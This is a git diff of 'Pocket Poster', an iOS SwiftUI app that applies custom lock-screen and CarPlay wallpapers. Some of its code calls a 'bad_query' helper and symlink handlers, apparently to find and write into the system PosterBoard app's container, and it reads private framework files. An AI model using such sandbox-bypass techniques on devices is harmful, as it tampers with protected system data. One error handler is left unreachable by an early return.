<elements/>
|
||||
</LKState>
|
||||
</states>
|
||||
<stateTransitions>
|
||||
<LKStateTransition fromState="*" toState="Unlock">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="Unlock" toState="*">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="*" toState="Locked">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="Locked" toState="*">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="*" toState="Sleep">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
<LKStateTransition fromState="Sleep" toState="*">
|
||||
<elements/>
|
||||
</LKStateTransition>
|
||||
</stateTransitions>
|
||||
</CALayer>
|
||||
</caml>
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>appearanceAware</key>
|
||||
<true/>
|
||||
<key>assets</key>
|
||||
<dict>
|
||||
<key>lockAndHome</key>
|
||||
<dict>
|
||||
<key>default</key>
|
||||
<dict>
|
||||
<key>backgroundAnimationFileName</key>
|
||||
<string>9183.Custom_Background-810w-1080h@2x~ipad.ca</string>
|
||||
<key>floatingAnimationFileNameKey</key>
|
||||
<string>9183.Custom_Floating-810w-1080h@2x~ipad.ca</string>
|
||||
<key>identifier</key>
|
||||
<integer>9183</integer>
|
||||
<key>name</key>
|
||||
<string>Chip</string>
|
||||
<key>type</key>
|
||||
<string>LayeredAnimation</string>
|
||||
</dict>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>contentVersion</key>
|
||||
<real>2.01</real>
|
||||
<key>family</key>
|
||||
<string>Chip</string>
|
||||
<key>identifier</key>
|
||||
<integer>9183</integer>
|
||||
<key>logicalScreenClass</key>
|
||||
<string>810w-1080h@2x~ipad</string>
|
||||
<key>name</key>
|
||||
<string>Chip</string>
|
||||
<key>preferredProminentColor</key>
|
||||
<dict>
|
||||
<key>dark</key>
|
||||
<string>#00000</string>
|
||||
<key>default</key>
|
||||
<string>#FFFFFF</string>
|
||||
</dict>
|
||||
<key>version</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</plist>
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>posterEnvironmentOverrides</key>
|
||||
<data>
|
||||
e30=
|
||||
</data>
|
||||
<key>wallpaperRepresentingFileName</key>
|
||||
<string>9183.Custom-810w-1080h@2x~ipad.wallpaper</string>
|
||||
<key>wallpaperRepresentingIdentifier</key>
|
||||
<string>9999</string>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -0,0 +1,75 @@
|
||||
//
|
||||
// WebView.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 7/6/25.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import WebKit
|
||||
|
||||
struct WallpaperWebView: UIViewRepresentable {
|
||||
let url: URL
|
||||
@Binding var isLoading: Bool
|
||||
@Binding var error: Error?
|
||||
|
||||
init(_ url: URL, isLoading: Binding<Bool>, error: Binding<Error?>) {
|
||||
self.url = url
|
||||
self._isLoading = isLoading
|
||||
self._error = error
|
||||
}
|
||||
|
||||
func makeCoordinator() -> Coordinator {
|
||||
Coordinator(self)
|
||||
}
|
||||
func makeUIView(context: Context) -> some UIView {
|
||||
let configuration = WKWebViewConfiguration()
|
||||
configuration.setURLSchemeHandler(AssetsSchemeHandler(), forURLScheme: "pocketposter")
|
||||
let webView = WKWebView(frame: .zero, configuration: configuration)
|
||||
webView.navigationDelegate = context.coordinator
|
||||
webView.load(URLRequest(url: url))
|
||||
|
||||
return webView
|
||||
}
|
||||
|
||||
func updateUIView(_ uiView: UIViewType, context: Context) {}
|
||||
|
||||
class Coordinator: NSObject, WKNavigationDelegate {
|
||||
var parent: WallpaperWebView
|
||||
init(_ parent: WallpaperWebView) {
|
||||
self.parent = parent
|
||||
}
|
||||
func webView(_ webView: WKWebView, didStartProvisionalNavigation navigation: WKNavigation!) {
|
||||
parent.isLoading = true
|
||||
}
|
||||
func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
|
||||
parent.isLoading = false
|
||||
}
|
||||
func webView(_ webView: WKWebView, didFailProvisionalNavigation navigation: WKNavigation!, withError error: Error) {
|
||||
return
|
||||
let nsError = error as NSError
|
||||
if nsError.code == NSURLErrorCancelled { return }
|
||||
print("loading error: \(error)")
|
||||
parent.isLoading = false
|
||||
parent.error = error
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class AssetsSchemeHandler: NSObject, WKURLSchemeHandler {
|
||||
func webView(_ webView: WKWebView, start urlSchemeTask: WKURLSchemeTask) {
|
||||
DispatchQueue.global().async {
|
||||
print("handling scheme")
|
||||
guard let url = urlSchemeTask.request.url, url.absoluteString.starts(with: "pocketposter://download") else { return }
|
||||
|
||||
print("url: \(url.absoluteString)")
|
||||
DownloadManager.shared.startTendiesDownload(for: url)
|
||||
}
|
||||
}
|
||||
|
||||
func webView(_ webView: WKWebView, stop urlSchemeTask: WKURLSchemeTask) {
|
||||
|
||||
}
|
||||
}
|
||||
@@ -7,6 +7,7 @@
|
||||
|
||||
import SwiftUI
|
||||
import UniformTypeIdentifiers
|
||||
import PhotosUI
|
||||
|
||||
extension UIDocumentPickerViewController {
|
||||
@objc func fix_init(forOpeningContentTypes contentTypes: [UTType], asCopy: Bool) -> UIDocumentPickerViewController {
|
||||
@@ -18,13 +19,11 @@ struct ContentView: View {
|
||||
// Prefs
|
||||
@AppStorage("pbHash") var pbHash: String = ""
|
||||
|
||||
@ObservedObject var pbManager = PosterBoardManager.shared
|
||||
|
||||
private let buildNumber = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
|
||||
|
||||
@State var showTendiesImporter: Bool = false
|
||||
var selectedTendies: Binding<[URL]>
|
||||
|
||||
@State var showErrorAlert = false
|
||||
@State var lastError: String?
|
||||
@State var hideResetHelp: Bool = true
|
||||
|
||||
var body: some View {
|
||||
@@ -40,16 +39,16 @@ struct ContentView: View {
|
||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||
showTendiesImporter.toggle()
|
||||
}) {
|
||||
Text("Select Tendies")
|
||||
Label("Select Tendies", systemImage: "document.circle")
|
||||
}
|
||||
.buttonStyle(TintedButton(color: .green, fullwidth: true))
|
||||
}
|
||||
.listRowInsets(EdgeInsets())
|
||||
.padding(7)
|
||||
|
||||
if !selectedTendies.wrappedValue.isEmpty {
|
||||
if !pbManager.selectedTendies.isEmpty {
|
||||
Section {
|
||||
ForEach(selectedTendies.wrappedValue, id: \.self) { tendie in
|
||||
ForEach(pbManager.selectedTendies, id: \.self) { tendie in
|
||||
Text(tendie.deletingPathExtension().lastPathComponent)
|
||||
}
|
||||
.onDelete(perform: delete)
|
||||
@@ -59,46 +58,91 @@ struct ContentView: View {
|
||||
}
|
||||
|
||||
Section {
|
||||
if pbHash == "" {
|
||||
if pbHash == "" && !SymHandler.prefersBadQuery {
|
||||
Text("Enter your PosterBoard app hash in Settings.")
|
||||
} else {
|
||||
VStack {
|
||||
if !selectedTendies.wrappedValue.isEmpty {
|
||||
if pbHash == "" && SymHandler.prefersBadQuery {
|
||||
Text("No hash set — will auto-detect via bad_query on Apply.")
|
||||
.font(.caption)
|
||||
.foregroundStyle(.secondary)
|
||||
}
|
||||
if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty {
|
||||
Button(action: {
|
||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Applying Tendies...", comment: ""), body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
|
||||
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.3) {
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
do {
|
||||
try PosterBoardManager.applyTendies(selectedTendies.wrappedValue, appHash: pbHash)
|
||||
selectedTendies.wrappedValue.removeAll()
|
||||
SymHandler.cleanup() // just to be extra sure
|
||||
try? FileManager.default.removeItem(at: PosterBoardManager.getTendiesStoreURL())
|
||||
Haptic.shared.notify(.success)
|
||||
UIApplication.shared.dismissAlert(animated: false)
|
||||
UIApplication.shared.confirmAlert(title: "Success!", body: "The PosterBoard app will now open. Please close it from the app switcher.", onOK: {
|
||||
if !PosterBoardManager.openPosterBoard() {
|
||||
UIApplication.shared.confirmAlert(title: "Falling Back to Shortcut", body: "PosterBoard failed to open directly. The fallback shortcut will now be opened.", onOK: {
|
||||
PosterBoardManager.runShortcut(named: "PosterBoard")
|
||||
}, noCancel: true)
|
||||
var hash = pbHash
|
||||
if hash.isEmpty {
|
||||
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…")
|
||||
hash = try BadQuery.findPosterBoardHash()
|
||||
DispatchQueue.main.async { pbHash = hash }
|
||||
}
|
||||
}, noCancel: true)
|
||||
try pbManager.applyTendies(appHash: hash)
|
||||
SymHandler.cleanup() // just to be extra sure
|
||||
try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL())
|
||||
|
||||
DispatchQueue.main.async {
|
||||
pbManager.selectedTendies.removeAll()
|
||||
pbManager.videos.removeAll()
|
||||
Haptic.shared.notify(.success)
|
||||
// Instant Mond-style respring (no alert delay)
|
||||
RespringHelper.respring()
|
||||
}
|
||||
} catch CocoaError.fileWriteUnknown {
|
||||
presentError(ApplyError.wrongAppHash)
|
||||
} catch CocoaError.fileWriteFileExists {
|
||||
presentError(ApplyError.collectionsNeedsReset)
|
||||
} catch {
|
||||
Haptic.shared.notify(.error)
|
||||
SymHandler.cleanup()
|
||||
UIApplication.shared.dismissAlert(animated: false)
|
||||
UIApplication.shared.alert(body: error.localizedDescription)
|
||||
print(error.localizedDescription)
|
||||
presentError(ApplyError.unexpected(info: error.localizedDescription))
|
||||
}
|
||||
}
|
||||
}) {
|
||||
Text("Apply")
|
||||
Label("Apply", systemImage: "checkmark.circle")
|
||||
}
|
||||
.buttonStyle(TintedButton(color: .blue, fullwidth: true))
|
||||
}
|
||||
Button(action: {
|
||||
hideResetHelp = false
|
||||
UIApplication.shared.confirmAlert(
|
||||
title: NSLocalizedString("Reset Collections", comment: ""),
|
||||
body: SymHandler.prefersBadQuery
|
||||
? "This will wipe custom PosterBoard descriptors via bad_query, then respring."
|
||||
: NSLocalizedString("Do you want to reset collections?", comment: ""),
|
||||
onOK: {
|
||||
UIApplication.shared.alert(
|
||||
title: "Resetting…",
|
||||
body: "Please wait",
|
||||
animated: true,
|
||||
withButton: false
|
||||
)
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
do {
|
||||
var hash = pbHash
|
||||
if hash.isEmpty && SymHandler.prefersBadQuery {
|
||||
hash = try BadQuery.findPosterBoardHash()
|
||||
DispatchQueue.main.async { pbHash = hash }
|
||||
}
|
||||
guard !hash.isEmpty else {
|
||||
throw ApplyError.wrongAppHash
|
||||
}
|
||||
try pbManager.resetCollections(appHash: hash)
|
||||
DispatchQueue.main.async {
|
||||
Haptic.shared.notify(.success)
|
||||
// Instant Mond-style respring
|
||||
RespringHelper.respring()
|
||||
}
|
||||
} catch {
|
||||
presentError(ApplyError.unexpected(info: error.localizedDescription))
|
||||
}
|
||||
}
|
||||
},
|
||||
noCancel: false
|
||||
)
|
||||
}) {
|
||||
Text("Reset Collections")
|
||||
Label("Reset Collections", systemImage: "arrow.clockwise.circle")
|
||||
}
|
||||
.buttonStyle(TintedButton(color: .red, fullwidth: true))
|
||||
}
|
||||
@@ -130,21 +174,16 @@ struct ContentView: View {
|
||||
.fileImporter(isPresented: $showTendiesImporter, allowedContentTypes: [UTType(filenameExtension: "tendies", conformingTo: .data)!], allowsMultipleSelection: true, onCompletion: { result in
|
||||
switch result {
|
||||
case .success(let url):
|
||||
if selectedTendies.wrappedValue.count + url.count > PosterBoardManager.MaxTendies {
|
||||
UIApplication.shared.alert(title: "Max Tendies Reached", body: "You can only apply \(PosterBoardManager.MaxTendies) descriptors.")
|
||||
if pbManager.selectedTendies.count + url.count > PosterBoardManager.MaxTendies {
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
|
||||
} else {
|
||||
selectedTendies.wrappedValue.append(contentsOf: url)
|
||||
pbManager.selectedTendies.append(contentsOf: url)
|
||||
}
|
||||
case .failure(let error):
|
||||
lastError = error.localizedDescription
|
||||
showErrorAlert.toggle()
|
||||
Haptic.shared.notify(.error)
|
||||
UIApplication.shared.alert(body: error.localizedDescription)
|
||||
}
|
||||
})
|
||||
.alert("Error", isPresented: $showErrorAlert) {
|
||||
Button("OK") {}
|
||||
} message: {
|
||||
Text(lastError ?? "???")
|
||||
}
|
||||
.overlay {
|
||||
OnBoardingView(cards: resetCollectionsInfo, isFinished: $hideResetHelp)
|
||||
.opacity(hideResetHelp ? 0.0 : 1.0)
|
||||
@@ -154,11 +193,19 @@ struct ContentView: View {
|
||||
}
|
||||
|
||||
func delete(at offsets: IndexSet) {
|
||||
selectedTendies.wrappedValue.remove(atOffsets: offsets)
|
||||
pbManager.selectedTendies.remove(atOffsets: offsets)
|
||||
}
|
||||
|
||||
init(selectedTendies: Binding<[URL]>) {
|
||||
self.selectedTendies = selectedTendies
|
||||
func presentError(_ error: ApplyError) {
|
||||
SymHandler.cleanup()
|
||||
DispatchQueue.main.async {
|
||||
Haptic.shared.notify(.error)
|
||||
// alert() dismisses any buttonless progress sheet first, always with OK
|
||||
UIApplication.shared.alert(body: error.localizedDescription, withButton: true)
|
||||
}
|
||||
}
|
||||
|
||||
init() {
|
||||
// Fix file picker
|
||||
let fixMethod = class_getInstanceMethod(UIDocumentPickerViewController.self, #selector(UIDocumentPickerViewController.fix_init(forOpeningContentTypes:asCopy:)))!
|
||||
let origMethod = class_getInstanceMethod(UIDocumentPickerViewController.self, #selector(UIDocumentPickerViewController.init(forOpeningContentTypes:asCopy:)))!
|
||||
|
||||
@@ -0,0 +1,212 @@
|
||||
//
|
||||
// CarPlayView.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/19/25.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import PhotosUI
|
||||
|
||||
struct CarPlayView: View {
|
||||
@State var wallpapers: [CarPlayWallpaper] = []
|
||||
@State var didChange: Bool = false
|
||||
@State var showDark: Bool = false
|
||||
|
||||
@AppStorage("cpHash") var cpHash: String = ""
|
||||
@State var activeWallpapers: [String] = []
|
||||
@ObservedObject var pbManager = PosterBoardManager.shared
|
||||
|
||||
var body: some View {
|
||||
NavigationStack {
|
||||
ZStack {
|
||||
ScrollView {
|
||||
if wallpapers.isEmpty {
|
||||
ProgressView()
|
||||
} else {
|
||||
LazyVGrid(columns: [GridItem(.adaptive(minimum: 150, maximum: 250))]) {
|
||||
ForEach($wallpapers) { wallpaper in
|
||||
ZStack {
|
||||
WallpaperView(wallpaper: wallpaper, didChange: $didChange, showDark: $showDark)
|
||||
.disabled(activeWallpapers.contains(wallpaper.name.wrappedValue))
|
||||
// The checkmark
|
||||
if activeWallpapers.contains(wallpaper.name.wrappedValue) {
|
||||
RoundedRectangle(cornerRadius: 8)
|
||||
.foregroundStyle(.black.opacity(0.4))
|
||||
Image(systemName: "checkmark.circle.fill")
|
||||
.font(.title)
|
||||
.foregroundStyle(.green)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
.padding()
|
||||
}
|
||||
}
|
||||
VStack {
|
||||
Spacer()
|
||||
if didChange {
|
||||
Button(action: {
|
||||
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
|
||||
|
||||
DispatchQueue.global(qos: .userInitiated).async {
|
||||
do {
|
||||
try CarPlayManager.applyCarPlay(appHash: cpHash, wallpapers: wallpapers)
|
||||
SymHandler.cleanup() // just to be extra sure
|
||||
UIApplication.shared.dismissAlert(animated: false)
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||
activeWallpapers = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
|
||||
Haptic.shared.notify(.success)
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("You can now choose your wallpapers in the CarPlay settings in your car.", comment: ""))
|
||||
})
|
||||
} catch CocoaError.fileWriteUnknown {
|
||||
presentError(ApplyError.wrongAppHash)
|
||||
} catch CocoaError.fileWriteFileExists {
|
||||
presentError(ApplyError.collectionsNeedsReset)
|
||||
} catch {
|
||||
print(error.localizedDescription)
|
||||
presentError(ApplyError.unexpected(info: error.localizedDescription))
|
||||
}
|
||||
}
|
||||
}) {
|
||||
if cpHash == "" {
|
||||
Text("Enter your CarPlayWallpaper app hash in Settings.")
|
||||
} else {
|
||||
Label("Apply CarPlay Wallpapers", systemImage: "checkmark.circle")
|
||||
}
|
||||
}
|
||||
.buttonStyle(OpaqueButton(color: cpHash == "" ? .red : .blue, fullwidth: true))
|
||||
.disabled(cpHash == "")
|
||||
.padding(.vertical, 10)
|
||||
.padding(.horizontal, 25)
|
||||
.transition(.move(edge: .bottom))
|
||||
.animation(.easeIn, value: didChange)
|
||||
}
|
||||
}
|
||||
}
|
||||
.navigationTitle("CarPlay Wallpapers")
|
||||
.toolbar {
|
||||
ToolbarItem(placement: .topBarTrailing, content: {
|
||||
Button(action: {
|
||||
withAnimation {
|
||||
showDark.toggle()
|
||||
}
|
||||
}) {
|
||||
Image(systemName: showDark ? "moon" : "sun.max")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
.onAppear {
|
||||
if wallpapers.isEmpty {
|
||||
// load active wallpapers from user defaults
|
||||
activeWallpapers = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
|
||||
// load the wallpapers
|
||||
let cppURL = CarPlayManager.getCarPlayPhotosURL()
|
||||
let frameworkPath = "/System/Library/PrivateFrameworks/CarPlayUIServices.framework"
|
||||
do {
|
||||
for file in try FileManager.default.contentsOfDirectory(at: URL(fileURLWithPath: frameworkPath), includingPropertiesForKeys: nil, options: .skipsHiddenFiles) {
|
||||
if file.path().hasSuffix("-Light.heic") {
|
||||
let imgData = try Data(contentsOf: file)
|
||||
if let wpImg = UIImage(data: imgData) {
|
||||
var darkImg = wpImg
|
||||
if let darkData = try? Data(contentsOf: URL(fileURLWithPath: file.path().replacingOccurrences(of: "-Light.heic", with: "-Dark.heic"))) {
|
||||
darkImg = UIImage(data: darkData) ?? wpImg
|
||||
}
|
||||
let name = file.lastPathComponent.replacingOccurrences(of: "-Light.heic", with: "")
|
||||
// fetch the selected image if they exist
|
||||
let selectedLight: Data? = try? Data(contentsOf: cppURL.appendingPathComponent("\(name)-Light"))
|
||||
let selectedDark: Data? = try? Data(contentsOf: cppURL.appendingPathComponent("\(name)-Dark"))
|
||||
wallpapers.append(.init(
|
||||
name: name,
|
||||
lightImage: wpImg, darkImage: darkImg,
|
||||
selectedImageDataLight: selectedLight, selectedImageDataDark: selectedDark
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
// sort them
|
||||
if let sortedWallpapers = CarPlayManager.getCarPlayWallpaperNames() {
|
||||
wallpapers = wallpapers.reorder(by: sortedWallpapers)
|
||||
}
|
||||
} catch {
|
||||
UIApplication.shared.alert(body: NSLocalizedString("Failed to fetch CarPlay wallpapers", comment: "") + ":\n\(error.localizedDescription)")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func presentError(_ error: ApplyError) {
|
||||
SymHandler.cleanup()
|
||||
UIApplication.shared.dismissAlert(animated: false)
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
|
||||
Haptic.shared.notify(.error)
|
||||
UIApplication.shared.alert(body: error.localizedDescription)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
struct WallpaperView: View {
|
||||
@Binding var wallpaper: CarPlayWallpaper
|
||||
@Binding var didChange: Bool
|
||||
@Binding var showDark: Bool
|
||||
|
||||
@State private var selectedItem: PhotosPickerItem? = nil
|
||||
|
||||
var body: some View {
|
||||
PhotosPicker(
|
||||
selection: $selectedItem,
|
||||
matching: .images,
|
||||
photoLibrary: .shared()) {
|
||||
VStack {
|
||||
if showDark {
|
||||
if let data = wallpaper.selectedImageDataDark, let img = UIImage(data: data) {
|
||||
WallpaperImageView(img: img)
|
||||
} else {
|
||||
WallpaperImageView(img: wallpaper.darkImage)
|
||||
}
|
||||
} else {
|
||||
if let data = wallpaper.selectedImageDataLight, let img = UIImage(data: data) {
|
||||
WallpaperImageView(img: img)
|
||||
} else {
|
||||
WallpaperImageView(img: wallpaper.lightImage)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
.overlay {
|
||||
RoundedRectangle(cornerRadius: 8)
|
||||
.stroke(.gray, lineWidth: 2)
|
||||
}
|
||||
.onChange(of: selectedItem) { newItem in
|
||||
if newItem == nil { return }
|
||||
Task {
|
||||
// Retrieve selected asset in the form of Data
|
||||
if let data = try? await newItem?.loadTransferable(type: Data.self) {
|
||||
if showDark {
|
||||
wallpaper.selectedImageDataDark = data
|
||||
} else {
|
||||
wallpaper.selectedImageDataLight = data
|
||||
}
|
||||
selectedItem = nil
|
||||
withAnimation {
|
||||
didChange = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct WallpaperImageView: View {
|
||||
var img: UIImage
|
||||
|
||||
var body: some View {
|
||||
Image(uiImage: img)
|
||||
.resizable()
|
||||
.aspectRatio(1.35, contentMode: .fill)
|
||||
.cornerRadius(8)
|
||||
.clipped()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,226 @@
|
||||
//
|
||||
// ExploreView.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 7/6/25.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import CachedAsyncImage
|
||||
|
||||
let MIN_SIZE: CGFloat = 165
|
||||
let CORNER_RADIUS: CGFloat = 12
|
||||
|
||||
struct ExploreView: View {
|
||||
@ObservedObject var cowabungaAPI = CowabungaAPI.shared
|
||||
|
||||
// lazyvgrid
|
||||
@State private var gridItemLayout = [GridItem(.adaptive(minimum: MIN_SIZE))]
|
||||
@State private var wallpapers: [DownloadableWallpaper] = []
|
||||
|
||||
@State var wallpaperTypeSelected = 0
|
||||
@State var wallpaperTypeShown = DownloadableWallpaper.WallpaperType.custom
|
||||
|
||||
@State var filterType: FilterType = .random
|
||||
@State var searchTerm: String = ""
|
||||
|
||||
var body: some View {
|
||||
NavigationView {
|
||||
ScrollView {
|
||||
PullToRefresh(coordinateSpaceName: "pullToRefresh") {
|
||||
// refresh
|
||||
wallpapers.removeAll()
|
||||
Haptic.shared.play(.light)
|
||||
//URLCache.imageCache.removeAllCachedResponses()
|
||||
loadWallpapers()
|
||||
}
|
||||
VStack {
|
||||
Picker("", selection: $wallpaperTypeSelected) {
|
||||
Text("Custom").tag(0)
|
||||
Text("Apple").tag(1)
|
||||
}
|
||||
.pickerStyle(.segmented)
|
||||
}
|
||||
.padding(.horizontal, 24)
|
||||
.padding(.bottom, 10)
|
||||
|
||||
if wallpapers.isEmpty {
|
||||
ProgressView()
|
||||
.scaleEffect(1.75)
|
||||
.navigationTitle("Explore")
|
||||
} else {
|
||||
LazyVGrid(columns: gridItemLayout) {
|
||||
ForEach(wallpapers) { wallpaper in
|
||||
if searchTerm == "" || wallpaper.name.lowercased().contains(searchTerm.lowercased()) || (wallpaper.authors ?? "").lowercased().contains(searchTerm.lowercased()) {
|
||||
Button(action: {
|
||||
DownloadManager.shared.startTendiesDownload(for: cowabungaAPI.getDownloadURLForWallpaper(wallpaper: wallpaper))
|
||||
}) {
|
||||
VStack(spacing: 0) {
|
||||
ZStack {
|
||||
Color.gray.opacity(0.4)
|
||||
if wallpaper.previewIsGif() {
|
||||
GIFImage(url: cowabungaAPI.getPreviewURLForWallpaper(wallpaper: wallpaper), animate: true, loop: true)
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.frame(maxWidth: .infinity)
|
||||
} else {
|
||||
CachedAsyncImage(url: cowabungaAPI.getPreviewURLForWallpaper(wallpaper: wallpaper), urlCache: .imageCache) { image in
|
||||
image
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.frame(maxWidth: .infinity)
|
||||
} placeholder: {
|
||||
Color.gray
|
||||
.frame(height: MIN_SIZE)
|
||||
}
|
||||
}
|
||||
}
|
||||
.cornerRadius(CORNER_RADIUS, corners: .topLeft)
|
||||
.cornerRadius(CORNER_RADIUS, corners: .topRight)
|
||||
HStack {
|
||||
VStack(spacing: 4) {
|
||||
HStack {
|
||||
Text(wallpaper.name)
|
||||
.foregroundStyle(Color(uiColor: .label))
|
||||
.minimumScaleFactor(0.5)
|
||||
Spacer()
|
||||
}
|
||||
if let authors = wallpaper.authors {
|
||||
HStack {
|
||||
Text(authors)
|
||||
.foregroundColor(.secondary)
|
||||
.font(.caption)
|
||||
.minimumScaleFactor(0.5)
|
||||
Spacer()
|
||||
}
|
||||
}
|
||||
}
|
||||
.lineLimit(1)
|
||||
Spacer()
|
||||
Image(systemName: "arrow.down.circle")
|
||||
.foregroundColor(.blue)
|
||||
}
|
||||
.padding(.horizontal, 12)
|
||||
.padding(.vertical, 8)
|
||||
.frame(height: 58)
|
||||
}
|
||||
}
|
||||
.frame(minWidth: MIN_SIZE)
|
||||
.background(Color(uiColor: .secondarySystemBackground))
|
||||
.cornerRadius(CORNER_RADIUS)
|
||||
.padding(4)
|
||||
}
|
||||
}
|
||||
}
|
||||
.padding()
|
||||
}
|
||||
}
|
||||
.searchable(text: $searchTerm)
|
||||
.coordinateSpace(name: "pullToRefresh")
|
||||
.navigationTitle("Explore")
|
||||
.toolbar {
|
||||
ToolbarItem(placement: .navigationBarTrailing) {
|
||||
Button(action: {
|
||||
showFilterChangerPopup()
|
||||
}) {
|
||||
Image(systemName: "line.3.horizontal.decrease.circle")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
.onAppear {
|
||||
loadWallpapers()
|
||||
}
|
||||
.onChange(of: wallpaperTypeSelected) { newValue in
|
||||
let map = [0: DownloadableWallpaper.WallpaperType.custom, 1: .apple, 2: .template]
|
||||
wallpaperTypeShown = map[newValue]!
|
||||
|
||||
wallpapers.removeAll()
|
||||
loadWallpapers()
|
||||
}
|
||||
}
|
||||
|
||||
func loadWallpapers() {
|
||||
Task {
|
||||
do {
|
||||
wallpapers = try await cowabungaAPI.fetchWallpapers(type: wallpaperTypeShown)
|
||||
wallpapers = cowabungaAPI.filterWallpapers(wallpapers: wallpapers, filterType: filterType)
|
||||
} catch {
|
||||
UIApplication.shared.alert(title: NSLocalizedString("Failed to fetch wallpapers", comment: ""), body: error.localizedDescription)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func showFilterChangerPopup() {
|
||||
// create and configure alert controller
|
||||
let alert = UIAlertController(title: NSLocalizedString("Filter Wallpapers", comment: ""), message: "", preferredStyle: .actionSheet)
|
||||
|
||||
// create the actions
|
||||
for type in FilterType.allCases {
|
||||
let newAction = UIAlertAction(title: type.rawValue, style: .default) { (action) in
|
||||
// apply the filter type
|
||||
filterType = type
|
||||
wallpapers.removeAll()
|
||||
loadWallpapers()
|
||||
}
|
||||
if filterType == type {
|
||||
// add a check mark
|
||||
newAction.setValue(true, forKey: "checked")
|
||||
}
|
||||
alert.addAction(newAction)
|
||||
}
|
||||
|
||||
let cancelAction = UIAlertAction(title: NSLocalizedString("Cancel", comment: ""), style: .cancel) { (action) in
|
||||
// cancels the action
|
||||
}
|
||||
|
||||
// add the actions
|
||||
alert.addAction(cancelAction)
|
||||
|
||||
let view: UIView = UIApplication.shared.windows.first!.rootViewController!.view
|
||||
// present popover for iPads
|
||||
alert.popoverPresentationController?.sourceView = view // prevents crashing on iPads
|
||||
alert.popoverPresentationController?.sourceRect = CGRect(x: view.bounds.midX, y: view.bounds.maxY, width: 0, height: 0) // show up at center bottom on iPads
|
||||
|
||||
// present the alert
|
||||
UIApplication.shared.windows.first?.rootViewController?.present(alert, animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
struct PullToRefresh: View {
|
||||
var coordinateSpaceName: String
|
||||
var onRefresh: ()->Void
|
||||
|
||||
@State var needRefresh: Bool = false
|
||||
|
||||
var body: some View {
|
||||
GeometryReader { geo in
|
||||
if (geo.frame(in: .named(coordinateSpaceName)).midY > 50) {
|
||||
Spacer()
|
||||
.onAppear {
|
||||
needRefresh = true
|
||||
}
|
||||
} else if (geo.frame(in: .named(coordinateSpaceName)).maxY < 10) {
|
||||
Spacer()
|
||||
.onAppear {
|
||||
if needRefresh {
|
||||
needRefresh = false
|
||||
onRefresh()
|
||||
}
|
||||
}
|
||||
}
|
||||
HStack {
|
||||
Spacer()
|
||||
if needRefresh {
|
||||
